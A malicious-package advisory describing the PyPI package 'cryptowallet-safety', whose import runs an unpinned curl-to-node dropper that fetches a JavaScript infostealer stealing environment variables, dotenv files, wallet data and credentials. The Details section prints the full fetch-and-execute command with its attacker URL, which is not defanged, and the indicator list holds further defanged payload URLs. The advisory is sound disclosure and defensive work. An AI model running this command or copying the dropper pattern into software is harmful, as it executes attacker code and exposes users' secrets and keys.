Skip to content
OpenAdvisories
Malicious MAL-2026-4259

cryptowallet-safety

PyPI package · versions 0.1.0

Reported May 22, 2026 · Updated May 26, 2026

If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

Source: amazon-inspector (276a350e78e2602882e107586e33d617b3e392e3943c120d99d4213963d7fd9d)
On `import cryptowallet_safety`, the top-level `__init__.py` (lines 13-21) shells out to `curl -sL https://ddjidd564.github.io/defi-security-best-practices/payloads/wallet-safety-check.js` and pipes the response body directly into `node -e` for execution. The fetch is unpinned (mutable URL on a personal github.io site, not the package publisher's domain), unverified (no hash or signature check), executed in an alternate runtime (Node) bypassing Python install-phase sandboxes such as `pip download` / `pip wheel` / build isolation, and errors are swallowed silently. Any developer or CI system that imports this package executes whatever JavaScript the github.io account currently serves — content the attacker can change at any time. The package self-describes as a crypto-wallet safety helper, which makes the import-time dropper especially likely to land in environments handling wallet keys.

Source: kam193 (cd2f5a911cabd7312224175b40dfeaefc3ae0b83c21747f688e608cb1afd062f)
During import, the package downloads a remote JS script that then exfiltrates environmental variables, dotenv files, cryptowallets data and other sensitive informations. It's part of a broader campaign across PyPI, NPM and Github.

---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-05-eth-security-auditor

Reasons (based on the campaign):

- files-exfiltration

- exfiltration-env-variables

- crypto-related

- Downloads and executes a remote malicious script.

- exfiltration-crypto

- exfiltration-credentials

Indicators of compromise

Shown defanged and not clickable. Search any indicator to find other packages using it.

Domains

URLs

  • hxxps://ddjidd564[.]github[.]io/defi-security-best-practices/payloads/compliance-scanner-light[.]js other packages →
  • hxxps://ddjidd564[.]github[.]io/defi-security-best-practices/payloads/risk-profiler[.]js other packages →